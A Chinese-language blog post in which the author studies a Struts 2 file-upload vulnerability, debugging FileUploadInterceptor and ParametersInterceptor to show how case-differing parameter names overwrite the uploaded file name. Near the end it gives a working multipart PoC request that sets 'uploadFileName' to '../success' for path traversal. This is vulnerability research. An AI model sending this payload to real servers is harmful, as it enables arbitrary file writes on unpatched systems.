官方的主要修复有:

感觉有些点还没有细跟 比如ognl的部分,还有这部分的细节。先把学习了大佬们的博文后自己调了一遍+捋思维的过程记录下来吧。

根据测试用例来看, 之前的问题是大小写不敏感,是 HttpParameters类对新参数的处理出现了问题。

20231225

这里的分析思路学习的是 trganda博客的思路

测试用例 → 定位类下某个方法( appendAll) → appendAll方法调用处 → 从调用处的几个函数中寻找可利用点,即文件上传。

其中appendAll方法调用处 有一处是涉及文件上传的, 这部分对应的是 FileUploadInterceptor 下的intercept 方法

if (files != null && files.length > 0) {
                        List<UploadedFile> acceptedFiles = new ArrayList<>(files.length);
                        List<String> acceptedContentTypes = new ArrayList<>(files.length);
                        List<String> acceptedFileNames = new ArrayList<>(files.length);
                        String contentTypeName = inputName + "ContentType";
                        String fileNameName = inputName + "FileName";

for (int index = 0; index < files.length; index++) {
                            if (acceptFile(action, files[index], fileName[index], contentType[index], inputName, validation)) {
                                acceptedFiles.add(files[index]);
                                acceptedContentTypes.add(contentType[index]);
                                acceptedFileNames.add(fileName[index]);
                            }
                        }

                        if (!acceptedFiles.isEmpty()) {
                            Map<String, Parameter> newParams = new HashMap<>();
                            newParams.put(inputName, new Parameter.File(inputName, acceptedFiles.toArray(new UploadedFile[acceptedFiles.size()])));
                            newParams.put(contentTypeName, new Parameter.File(contentTypeName, acceptedContentTypes.toArray(new String[acceptedContentTypes.size()])));
                            newParams.put(fileNameName, new Parameter.File(fileNameName, acceptedFileNames.toArray(new String[acceptedFileNames.size()])));
                            ac.getParameters().appendAll(newParams);
                        }
                    }

这里我上传了一个文件 1.txt, 上传的包如图

20231225

打断点进行代码分析FileUploadInterceptor#intercept, 这里看到, inputName 字段赋值到了两个变量: contentTypeNamefileNameName 。 然后这两个变量和 inputName 一同被put到了newParams (类型为Map<String, Parameter> 即 HashMap)

20231225

这里 ac.getParameters().appendAll(newParams); 则是被调用点,ac是一个 ActionInvocation

ActionContext ac = invocation.getInvocationContext();

这里,作为一枚java小白,恶补一下java知识之关于ActionInvocation的部分

在 Struts 2 框架中,ActionInvocation 是一个核心接口,它代表了一个动作的调用过程。其基本职责是控制动作(action)的执行流程。当一个动作被触发时,ActionInvocation 负责协调 Struts 2 框架各个部分的交互, 包括: 执行拦截器(interceptors), 调用动作方法,结果处理

现在这个FileUploadInterceptor 类就是一个Interceptors,来处理请求中的各类参数的喵

这里用户可控的 inputName (对应post传入的name="upload";)

其中, fileNamecontentType files分别由FileUploadInterceptor#intercept 下列赋值语句获取

String[] fileName = multiWrapper.getFileNames(inputName);
String[] contentType = multiWrapper.getContentTypes(inputName);
UploadedFile[] files = multiWrapper.getFiles(inputName);

以下是涉及这几个变量的代码片段截图

20231225

其中 ``acceptFile` 是检查文件是否合法的(contentType和size两个方面,至于别的检查可以看参考/学习处的文章调试跟进,自己也调试着跟一下,排除了FileUploadInterceptor处的变量覆盖的可能性)这里

multiWrapper.getFileNames(inputName) 跟进是

MultiPartRequestWrapper#getFileNames
JakartaStreamMultiPartRequest#getFileNames
AbstractMultiPartRequest#getCanonicalName

20231225

这里限制了文件不能够目录遍历,即直接请求体构造filename是无效的(例如):

Content-Disposition: form-data; name="upload"; filename="../1.txt"

回到FileUploadInterceptor 继续分析这里用了一个遍历将文件信息放到了都放置到了变量 acceptedFileNames下。然后跟进到 ac.getParameters().appendAll(newParams);

这里 getParameter返回的是一个HttpParameters 类型。这里也没有发现可覆盖点,

那么在action下的对应函数方法进行断点:

20231225

看调用栈,这里还能看到ognl

20231225

同时,IDEA调试知道 com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters 会调用到HttpParameters (这里ordered为false)

protected void setParameters(final Object action, ValueStack stack, HttpParameters parameters) {
        HttpParameters params;
        Map<String, Parameter> acceptableParameters;
        if (ordered) {
            params = HttpParameters.create().withComparator(getOrderedComparator()).withParent(parameters).build();
            acceptableParameters = new TreeMap<>(getOrderedComparator());
        } else {
            params = HttpParameters.create().withParent(parameters).build();
            acceptableParameters = new TreeMap<>();
        }

		   ......
			addParametersToContext(ActionContext.getContext(), acceptableParameters);
    }
protected void addParametersToContext(ActionContext ac, Map<String, ?> newParams) {
    }

这里可以看到:

acceptableParameters.put(parameterName, entry.getValue()); 是将HashMap数据结构下的元素转到TreeMap元素下,HashMap是无序数据结构,而TreeMap是基于红黑树实现的有序数据结构。

为了验证实际请求中 顺序产生了改变,这里发起一个构造的name大小写不一样的请求进行测试

测试的请求1:

请求内容:

------WebKitFormBoundarylklKBmAwQQCsk4Ex
Content-Disposition: form-data; name="Upload"; filename="fiel1.txt"
Content-Type: text/plain

test value

------WebKitFormBoundarylklKBmAwQQCsk4Ex
Content-Disposition: form-data; name="upload"; filename="file2.txt"
Content-Type: text/plain

file2name
------WebKitFormBoundarylklKBmAwQQCsk4Ex--

断点: com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters 可以看到TreeMap下是大写优先的

20231225

那么只要不要让传入的参数走FileUploadInterceptor, 就可以摆脱文件上传目录的检查了。

另外加上通过改变 upload 的值为 uploadFilename 覆盖掉原本的(如图)文件上传目录,因为action的处理过程在FileUploadInterceptor之后。

20231225

测试poc, poc内容:

------WebKitFormBoundary3ks5NW13KTE8KAzk
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

1111

------WebKitFormBoundary3ks5NW13KTE8KAzk
Content-Disposition: form-data; name="uploadFileName"; 
Content-Type: text/plain

../success
------WebKitFormBoundary3ks5NW13KTE8KAzk--

ParametersInterceptor 下断点查看,在 acceptableParameters 下 大写在前

20231225

这里for循环下打断点也可以看到是在newStack.setParameter 这里设置了action的(还用到了ognl)

20231225

最后,在循环的最后,uploadFileName 被覆盖

20231225

Reference